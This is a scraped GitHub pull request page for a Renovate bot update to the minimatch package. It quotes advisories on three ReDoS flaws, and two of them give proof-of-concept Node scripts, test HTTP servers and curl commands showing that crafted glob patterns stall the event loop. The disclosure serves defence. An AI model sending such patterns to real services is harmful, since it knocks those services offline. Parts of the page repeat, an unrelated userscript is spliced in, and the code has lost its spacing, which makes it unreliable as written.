  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

isaacs/minimatch (minimatch)

v10.2.3

Compare Source

v10.2.2

Compare Source

v10.2.1

Compare Source

v10.2.0

Compare Source

v10.1.3

Compare Source

v10.1.2

Compare Source

v10.1.1

Compare Source

v10.1.0

Compare Source


Configuration

📅 Schedule: (in timezone America/New_York)

  • Branch creation
    • ""
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Enabled.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovaterenovateBot added the dependencies Upgrade or downgrade of project dependencies. label Feb 23, 2026
@renovate
renovateBot requested a review from a teamFebruary 23, 2026 00:42
@renovate
renovateBot requested review from a team and sullivanpj as code ownersFebruary 23, 2026 00:42
@renovate
renovateBot enabled auto-merge (squash) February 23, 2026 00:42
@renovate

renovateBot commented Feb 23, 2026

Copy link
Copy Markdown
ContributorAuthor

Branch automerge failure

This PR was configured for branch automerge. However, this is not possible, so it has been raised as a PR instead.


  • Branch has one or more failed status checks

@deepsource-io

deepsource-ioBot commented Feb 23, 2026

Copy link
Copy Markdown

DeepSource Code Review

We reviewed changes in 242a5a8...26794f9 on this pull request. Below is the summary for the review, and you can see the individual issues we found as inline review comments.

See full review on DeepSource ↗

PR Report Card

Overall GradeSecurity

Reliability

Complexity

Hygiene

Code Review Summary

AnalyzerStatusUpdated (UTC)Details
JavaScriptMar 13, 2026 5:21p.m.Review ↗
ShellMar 13, 2026 5:21p.m.Review ↗

@socket-security

socket-securityBot commented Feb 23, 2026

Copy link
Copy Markdown

Review the following changes in direct dependencies. Learn more about Socket for GitHub.

DiffPackageSupply Chain
Security
VulnerabilityQualityMaintenanceLicense
Added@​microsoft/​tsdoc@​0.16.0991009084100
Added@​microsoft/​tsdoc-config@​0.18.11001009688100
Updated@​microsoft/​api-extractor@​7.52.13 ⏵ 7.57.794-510089+198+6100

View full report

@socket-security

socket-securityBot commented Feb 23, 2026

Copy link
Copy Markdown

Warning

Review the following alerts detected in dependencies.

According to your organization's Security Policy, it is recommended to resolve "Warn" alerts. Learn more about Socket for GitHub.

ActionSeverityAlert (click "▶" to expand/collapse)
WarnHigh
Obfuscated code: npm vite is 91.0% likely obfuscated

Confidence: 0.91

Location:Package overview

From:pnpm-lock.yamlnpm/@nx/react@21.5.3npm/vite@7.1.5

ℹ Read more on: This package | This alert | What is obfuscated code?

Next steps: Take a moment to review the security alert above. Review the linked package source code to understand the potential risk. Ensure the package is not malicious before proceeding. If you're unsure how to proceed, reach out to your security team or ask the Socket team for help at support@socket.dev.

Suggestion: Packages should not obfuscate their code. Consider not using packages with obfuscated code.

Mark the package as acceptable risk. To ignore this alert only in this pull request, reply with the comment @SocketSecurity ignore npm/vite@7.1.5. You can also ignore all packages with @SocketSecurity ignore-all. To ignore an alert for all future pull requests, use Socket's Dashboard to change the triage state of this alert.

View full report

@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default minimatch to v10.2.1 [security]chore(monorepo): update pnpm.catalog.default minimatch to v10.2.1 [security] - autoclosedFeb 24, 2026
@renovaterenovateBot closed this Feb 24, 2026
auto-merge was automatically disabled February 24, 2026 21:24

Pull request was closed

@renovate
renovateBot deleted the renovate/npm-minimatch-vulnerability branch February 24, 2026 21:24
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default minimatch to v10.2.1 [security] - autoclosedchore(monorepo): update pnpm.catalog.default minimatch to v10.2.1 [security]Feb 25, 2026
@renovaterenovateBot reopened this Feb 25, 2026
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch 3 times, most recently from 8481288 to 6e988ceCompareFebruary 28, 2026 05:19
@renovate
renovateBot enabled auto-merge (squash) February 28, 2026 05:19
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default minimatch to v10.2.1 [security]chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security]Feb 28, 2026
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch from 6e988ce to cb916c7CompareMarch 5, 2026 15:34
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch from cb916c7 to 26794f9CompareMarch 13, 2026 17:20
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security]chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security] - autoclosedMar 27, 2026
@renovaterenovateBot closed this Mar 27, 2026
auto-merge was automatically disabled March 27, 2026 02:22

Pull request was closed

@storm-softwarestorm-software locked and limited conversation to collaborators Mar 27, 2026
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security] - autoclosedchore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security]Mar 30, 2026
@renovaterenovateBot reopened this Mar 30, 2026
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch 2 times, most recently from 26794f9 to 8fb4eb9CompareMarch 30, 2026 20:53
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch from 8fb4eb9 to 5a959f6CompareApril 1, 2026 17:02
@renovate
renovateBot enabled auto-merge (squash) April 1, 2026 17:02
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch from 5a959f6 to ba70075CompareApril 8, 2026 21:07
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security]chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security] - autoclosedApr 27, 2026
@renovaterenovateBot closed this Apr 27, 2026
auto-merge was automatically disabled April 27, 2026 17:55

Pull request was closed

@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security] - autoclosedchore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security]Apr 27, 2026
@renovaterenovateBot reopened this Apr 27, 2026
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch 3 times, most recently from 32cacb3 to a1528a4CompareApril 29, 2026 09:42
@renovate
renovateBot enabled auto-merge (squash) April 29, 2026 09:42
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch 2 times, most recently from 46d0576 to 2af224dCompareMay 18, 2026 12:41
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch 2 times, most recently from b3fbe6f to d9d01ccCompareJune 1, 2026 20:18
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch from d9d01cc to ef90e24CompareJune 11, 2026 11:17
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch 3 times, most recently from 72e554c to 633c002CompareJuly 24, 2026 22:13
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch 2 times, most recently from 1abc0da to e1d038aCompareJuly 30, 2026 18:13
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch from e1d038a to 453fd3cCompareAugust 12, 2026 04:19
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch from 453fd3c to a853fb9CompareAugust 14, 2026 21:11
Sign up for freeto subscribe to this conversation on GitHub. Already have an account? Sign in.

Labels

dependenciesUpgrade or downgrade of project dependencies.

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants

, 'i'); if (__m === '*' || __re.test(location.href)) { injectUserscript("// Universal Dark Mode - works on any site\n(function() {\n var enabled = true;\n \n function applyDarkMode() {\n if (!enabled) return;\n \n // Create style element if it doesn't exist\n var style = document.getElementById('universal-dark-mode-style');\n if (!style) {\n style = document.createElement('style');\n style.id = 'universal-dark-mode-style';\n document.head.appendChild(style);\n }\n \n // Dark mode CSS - inverts colors but preserves images/video\n style.textContent = '\n /* Invert everything except media */\n html {\n filter: invert(1) hue-rotate(180deg) !important;\n background: #1a1a2e !important;\n }\n \n /* Restore images, videos, iframes, canvas */\n img, video, iframe, canvas, svg, picture, [style*=\"background-image\"] {\n filter: invert(1) hue-rotate(180deg) !important;\n }\n \n /* Preserve specific elements that should not be inverted */\n .no-dark-mode, .no-dark-mode *,\n [data-theme=\"light\"], [data-theme=\"light\"],\n .ace_editor, .ace_editor *,\n .CodeMirror, .CodeMirror *,\n .monaco-editor, .monaco-editor *,\n .markdown-body pre, .markdown-body pre *,\n .highlight, .highlight *,\n pre code, pre code * {\n filter: none !important;\n }\n \n /* Fix common UI elements */\n .modal, .popup, .dropdown-menu, .tooltip, .popover {\n filter: invert(1) hue-rotate(180deg) !important;\n background: #2d2d44 !important;\n border-color: #444 !important;\n }\n \n /* Scrollbars */\n ::-webkit-scrollbar { background: #1a1a2e !important; }\n ::-webkit-scrollbar-thumb { background: #444 !important; }\n ::-webkit-scrollbar-thumb:hover { background: #555 !important; }\n \n /* Selection */\n ::selection { background: #4ecdc4 !important; color: #1a1a2e !important; }\n ::-moz-selection { background: #4ecdc4 !important; color: #1a1a2e !important; }\n ';\n }\n \n function removeDarkMode() {\n var style = document.getElementById('universal-dark-mode-style');\n if (style) style.remove();\n }\n \n // Toggle with Alt+Shift+D\n document.addEventListener('keydown', function(e) {\n if (e.altKey && e.shiftKey && e.key === 'D') {\n e.preventDefault();\n enabled = !enabled;\n if (enabled) {\n applyDarkMode();\n console.log('[Universal Dark Mode] Enabled');\n } else {\n removeDarkMode();\n console.log('[Universal Dark Mode] Disabled');\n }\n }\n });\n \n // Apply on load\n applyDarkMode();\n \n // Re-apply on dynamic content\n var observer = new MutationObserver(function(mutations) {\n if (enabled && !document.getElementById('universal-dark-mode-style')) {\n applyDarkMode();\n }\n });\n observer.observe(document.head, { childList: true });\n \n console.log('[Universal Dark Mode] Loaded - Press Alt+Shift+D to toggle');\n})();", "Universal Dark Mode"); } } catch(__e) { console.warn('[Userscript:Universal Dark Mode]', __e); } })(); })();
Skip to content

chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security] - #210

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-minimatch-vulnerability
Open

chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security]#210
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-minimatch-vulnerability

Conversation

@renovate

@renovaterenovateBot commented Feb 23, 2026

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

PackageChangeAgeConfidence
minimatch10.0.310.2.3ageconfidence

minimatch has a ReDoS via repeated wildcards with non-matching literal in pattern

CVE-2026-26996 / GHSA-3ppc-4f35-3m26

More information

Details

Summary

minimatch is vulnerable to Regular Expression Denial of Service (ReDoS) when a glob pattern contains many consecutive * wildcards followed by a literal character that doesn't appear in the test string. Each * compiles to a separate [^/]*? regex group, and when the match fails, V8's regex engine backtracks exponentially across all possible splits.

The time complexity is O(4^N) where N is the number of * characters. With N=15, a single minimatch() call takes ~2 seconds. With N=34, it hangs effectively forever.

Details

Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.

PoC

When minimatch compiles a glob pattern, each * becomes [^/]*? in the generated regex. For a pattern like ***************X***:

/^(?!\.)[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?X[^/]*?[^/]*?[^/]*?$/

When the test string doesn't contain X, the regex engine must try every possible way to distribute the characters across all the [^/]*? groups before concluding no match exists. With N groups and M characters, this is O(C(N+M, N)) — exponential.

Impact

Any application that passes user-controlled strings to minimatch() as the pattern argument is vulnerable to DoS. This includes:

  • File search/filter UIs that accept glob patterns
  • .gitignore-style filtering with user-defined rules
  • Build tools that accept glob configuration
  • Any API that exposes glob matching to untrusted input

Thanks to @​ljharb for back-porting the fix to legacy versions of minimatch.

Severity

  • CVSS Score: 8.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


minimatch ReDoS: nested *() extglobs generate catastrophically backtracking regular expressions

CVE-2026-27904 / GHSA-23c5-xmqv-rm74

More information

Details

Summary

Nested *() extglobs produce regexps with nested unbounded quantifiers (e.g. (?:(?:a|b)*)*), which exhibit catastrophic backtracking in V8. With a 12-byte pattern *(*(*(a|b))) and an 18-byte non-matching input, minimatch() stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default minimatch() API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects +() extglobs equally.


Details

The root cause is in AST.toRegExpSource() at src/ast.ts#L598. For the * extglob type, the close token emitted is )* or )?, wrapping the recursive body in (?:...)*. When extglobs are nested, each level adds another * quantifier around the previous group:

: this.type==='*'&&bodyDotAllowed ? `)?`
: `)${this.type}`

This produces the following regexps:

PatternGenerated regex
*(a|b)/^(?:a|b)*$/
*(*(a|b))/^(?:(?:a|b)*)*$/
*(*(*(a|b)))/^(?:(?:(?:a|b)*)*)*$/
*(*(*(*(a|b))))/^(?:(?:(?:(?:a|b)*)*)*)*$/

These are textbook nested-quantifier patterns. Against an input of repeated a characters followed by a non-matching character z, V8's backtracking engine explores an exponential number of paths before returning false.

The generated regex is stored on this.set and evaluated inside matchOne() at src/index.ts#L1010 via p.test(f). It is reached through the standard minimatch() call with no configuration.

Measured times via minimatch():

PatternInputTime
*(*(a|b))a x30 + z~68,000ms
*(*(*(a|b)))a x20 + z~124,000ms
*(*(*(*(a|b))))a x25 + z~116,000ms
*(a|a)a x25 + z~2,000ms

Depth inflection at fixed input a x16 + z:

DepthPatternTime
1*(a|b)0ms
2*(*(a|b))4ms
3*(*(*(a|b)))270ms
4*(*(*(*(a|b))))115,000ms

Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level.


PoC

Tested on minimatch@10.2.2, Node.js 20.

Step 1 -- verify the generated regexps and timing (standalone script)

Save as poc4-validate.mjs and run with node poc4-validate.mjs:

import{minimatch,Minimatch}from'minimatch'functiontimed(fn){consts=process.hrtime.bigint()letresult,errortry{result=fn()}catch(e){error=e}constms=Number(process.hrtime.bigint()-s)/1e6return{ ms, result, error }}// Verify generated regexpsfor(letdepth=1;depth<=4;depth++){letpat='a|b'for(leti=0;i<depth;i++)pat=`*(${pat})`constre=newMinimatch(pat,{}).set?.[0]?.[0]?.toString()console.log(`depth=${depth} "${pat}" -> ${re}`)}// depth=1 "*(a|b)" -> /^(?:a|b)*$/// depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/// depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/// depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/// Safe-length timing (exponential growth confirmation without multi-minute hang)constcases=[['*(*(*(a|b)))',15],// ~270ms['*(*(*(a|b)))',17],// ~800ms['*(*(*(a|b)))',19],// ~2400ms['*(*(a|b))',23],// ~260ms['*(a|b)',101],// <5ms (depth=1 control)]for(const[pat,n]ofcases){constt=timed(()=>minimatch('a'.repeat(n)+'z',pat))console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`)}// Confirm noext disables the vulnerabilityconstt_noext=timed(()=>minimatch('a'.repeat(18)+'z','*(*(*(a|b)))',{noext: true}))console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`)// +() is equally affectedconstt_plus=timed(()=>minimatch('a'.repeat(17)+'z','+(+(+(a|b)))'))console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`)

Observed output:

depth=1 "*(a|b)" -> /^(?:a|b)*$/
depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/
depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/
depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/
"*(*(*(a|b)))" n=15: 269ms result=false
"*(*(*(a|b)))" n=17: 268ms result=false
"*(*(*(a|b)))" n=19: 2408ms result=false
"*(*(a|b))" n=23: 257ms result=false
"*(a|b)" n=101: 0ms result=false
noext=true: 0ms (should be ~0ms)
"+(+(+(a|b)))" n=18: 6300ms result=false

Step 2 -- HTTP server (event loop starvation proof)

Save as poc4-server.mjs:

importhttpfrom'node:http'import{URL}from'node:url'import{minimatch}from'minimatch'constPORT=3001http.createServer((req,res)=>{consturl=newURL(req.url,`http://localhost:${PORT}`)constpattern=url.searchParams.get('pattern')??''constpath=url.searchParams.get('path')??''conststart=process.hrtime.bigint()constresult=minimatch(path,pattern)constms=Number(process.hrtime.bigint()-start)/1e6console.log(`[${newDate().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}"`)res.writeHead(200,{'Content-Type': 'application/json'})res.end(JSON.stringify({ result,ms: ms.toFixed(0)})+'\n')}).listen(PORT,()=>console.log(`listening on ${PORT}`))

Terminal 1 -- start the server:

node poc4-server.mjs

Terminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately:

curl "http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" &

Terminal 3 -- send a benign request while the attack is in-flight:

curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3001/match?pattern=*%28a%7Cb%29&path=aaaz"

Observed output -- Terminal 2 (attack):

{"result":false,"ms":"64149"}

Observed output -- Terminal 3 (benign, concurrent):

{"result":false,"ms":"0"}
time_total: 63.022047s

Terminal 1 (server log):

[2026-02-20T09:41:17.624Z] pattern="*(*(*(a|b)))" path="aaaaaaaaaaaaaaaaaaaz"
[2026-02-20T09:42:21.775Z] done in 64149ms result=false
[2026-02-20T09:42:21.779Z] pattern="*(a|b)" path="aaaz"
[2026-02-20T09:42:21.779Z] done in 0ms result=false

The server reports "ms":"0" for the benign request -- the legitimate request itself requires no CPU time. The entire 63-second time_total is time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps.

Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact.


Impact

Any context where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here.

Depth 3 (*(*(*(a|b))), 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (*(*(a|b)), 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard.

+() extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed).

Mitigation available: passing { noext: true } to minimatch() disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


minimatch has ReDoS: matchOne() combinatorial backtracking via multiple non-adjacent GLOBSTAR segments

CVE-2026-27903 / GHSA-7r86-cg39-jmmj

More information

Details

Summary

matchOne() performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent ** (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where n is the number of path segments and k is the number of globstars. With k=11 and n=30, a call to the default minimatch() API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior.


Details

The vulnerable loop is in matchOne() at src/index.ts#L960:

while(fr<fl){..if(this.matchOne(file.slice(fr),pattern.slice(pr),partial)){..returntrue}..fr++}

When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each ** multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k).

There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning false on a non-matching input.

Measured timing with n=30 path segments:

k (globstars)Pattern sizeTime
736 bytes~154ms
946 bytes~1.2s
1156 bytes~5.4s
1261 bytes~9.7s
1366 bytes~15.9s

PoC

Tested on minimatch@10.2.2, Node.js 20.

Step 1 -- inline script

import{minimatch}from'minimatch'// k=9 globstars, n=30 path segments// pattern: 46 bytes, default optionsconstpattern='**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b'constpath='a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a'conststart=Date.now()minimatch(path,pattern)console.log(Date.now()-start+'ms')// ~1200ms

To scale the effect, increase k:

// k=11 -> ~5.4s, k=13 -> ~15.9sconstk=11constpattern=Array.from({length: k},()=>'**/a').join('/')+'/b'constpath=Array(30).fill('a').join('/')minimatch(path,pattern)

No special options are required. This reproduces with the default minimatch() call.

Step 2 -- HTTP server (event loop starvation proof)

The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common:

// poc1-server.mjsimporthttpfrom'node:http'import{URL}from'node:url'import{minimatch}from'minimatch'constPORT=3000constserver=http.createServer((req,res)=>{consturl=newURL(req.url,`http://localhost:${PORT}`)if(url.pathname!=='/match'){res.writeHead(404);res.end();return}constpattern=url.searchParams.get('pattern')??''constpath=url.searchParams.get('path')??''conststart=process.hrtime.bigint()constresult=minimatch(path,pattern)constms=Number(process.hrtime.bigint()-start)/1e6res.writeHead(200,{'Content-Type': 'application/json'})res.end(JSON.stringify({ result,ms: ms.toFixed(0)})+'\n')})server.listen(PORT)

Terminal 1 -- start the server:

node poc1-server.mjs

Terminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell:

curl "http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" &

Terminal 3 -- while the attack is in-flight, send a benign request:

curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3000/match?pattern=**%2Fy%2Fz&path=x%2Fy%2Fz"

Observed output (Terminal 3):

{"result":true,"ms":"0"}
time_total: 4.132709s

The server reports "ms":"0" -- the legitimate request itself takes zero processing time. The 4+ second time_total is entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline:

{"result":true,"ms":"0"}
time_total: 0.001599s

Impact

Any application where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

isaacs/minimatch (minimatch)

v10.2.3

Compare Source

v10.2.2

Compare Source

v10.2.1

Compare Source

v10.2.0

Compare Source

v10.1.3

Compare Source

v10.1.2

Compare Source

v10.1.1

Compare Source

v10.1.0

Compare Source


Configuration

📅 Schedule: (in timezone America/New_York)

  • Branch creation
    • ""
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Enabled.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovaterenovateBot added the dependencies Upgrade or downgrade of project dependencies. label Feb 23, 2026
@renovate
renovateBot requested a review from a teamFebruary 23, 2026 00:42
@renovate
renovateBot requested review from a team and sullivanpj as code ownersFebruary 23, 2026 00:42
@renovate
renovateBot enabled auto-merge (squash) February 23, 2026 00:42
@renovate

renovateBot commented Feb 23, 2026

Copy link
Copy Markdown
ContributorAuthor

Branch automerge failure

This PR was configured for branch automerge. However, this is not possible, so it has been raised as a PR instead.


  • Branch has one or more failed status checks

@deepsource-io

deepsource-ioBot commented Feb 23, 2026

Copy link
Copy Markdown

DeepSource Code Review

We reviewed changes in 242a5a8...26794f9 on this pull request. Below is the summary for the review, and you can see the individual issues we found as inline review comments.

See full review on DeepSource ↗

PR Report Card

Overall GradeSecurity

Reliability

Complexity

Hygiene

Code Review Summary

AnalyzerStatusUpdated (UTC)Details
JavaScriptMar 13, 2026 5:21p.m.Review ↗
ShellMar 13, 2026 5:21p.m.Review ↗

@socket-security

socket-securityBot commented Feb 23, 2026

Copy link
Copy Markdown

Review the following changes in direct dependencies. Learn more about Socket for GitHub.

DiffPackageSupply Chain
Security
VulnerabilityQualityMaintenanceLicense
Added@​microsoft/​tsdoc@​0.16.0991009084100
Added@​microsoft/​tsdoc-config@​0.18.11001009688100
Updated@​microsoft/​api-extractor@​7.52.13 ⏵ 7.57.794-510089+198+6100

View full report

@socket-security

socket-securityBot commented Feb 23, 2026

Copy link
Copy Markdown

Warning

Review the following alerts detected in dependencies.

According to your organization's Security Policy, it is recommended to resolve "Warn" alerts. Learn more about Socket for GitHub.

ActionSeverityAlert (click "▶" to expand/collapse)
WarnHigh
Obfuscated code: npm vite is 91.0% likely obfuscated

Confidence: 0.91

Location:Package overview

From:pnpm-lock.yamlnpm/@nx/react@21.5.3npm/vite@7.1.5

ℹ Read more on: This package | This alert | What is obfuscated code?

Next steps: Take a moment to review the security alert above. Review the linked package source code to understand the potential risk. Ensure the package is not malicious before proceeding. If you're unsure how to proceed, reach out to your security team or ask the Socket team for help at support@socket.dev.

Suggestion: Packages should not obfuscate their code. Consider not using packages with obfuscated code.

Mark the package as acceptable risk. To ignore this alert only in this pull request, reply with the comment @SocketSecurity ignore npm/vite@7.1.5. You can also ignore all packages with @SocketSecurity ignore-all. To ignore an alert for all future pull requests, use Socket's Dashboard to change the triage state of this alert.

View full report

@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default minimatch to v10.2.1 [security]chore(monorepo): update pnpm.catalog.default minimatch to v10.2.1 [security] - autoclosedFeb 24, 2026
@renovaterenovateBot closed this Feb 24, 2026
auto-merge was automatically disabled February 24, 2026 21:24

Pull request was closed

@renovate
renovateBot deleted the renovate/npm-minimatch-vulnerability branch February 24, 2026 21:24
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default minimatch to v10.2.1 [security] - autoclosedchore(monorepo): update pnpm.catalog.default minimatch to v10.2.1 [security]Feb 25, 2026
@renovaterenovateBot reopened this Feb 25, 2026
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch 3 times, most recently from 8481288 to 6e988ceCompareFebruary 28, 2026 05:19
@renovate
renovateBot enabled auto-merge (squash) February 28, 2026 05:19
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default minimatch to v10.2.1 [security]chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security]Feb 28, 2026
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch from 6e988ce to cb916c7CompareMarch 5, 2026 15:34
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch from cb916c7 to 26794f9CompareMarch 13, 2026 17:20
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security]chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security] - autoclosedMar 27, 2026
@renovaterenovateBot closed this Mar 27, 2026
auto-merge was automatically disabled March 27, 2026 02:22

Pull request was closed

@storm-softwarestorm-software locked and limited conversation to collaborators Mar 27, 2026
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security] - autoclosedchore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security]Mar 30, 2026
@renovaterenovateBot reopened this Mar 30, 2026
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch 2 times, most recently from 26794f9 to 8fb4eb9CompareMarch 30, 2026 20:53
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch from 8fb4eb9 to 5a959f6CompareApril 1, 2026 17:02
@renovate
renovateBot enabled auto-merge (squash) April 1, 2026 17:02
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch from 5a959f6 to ba70075CompareApril 8, 2026 21:07
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security]chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security] - autoclosedApr 27, 2026
@renovaterenovateBot closed this Apr 27, 2026
auto-merge was automatically disabled April 27, 2026 17:55

Pull request was closed

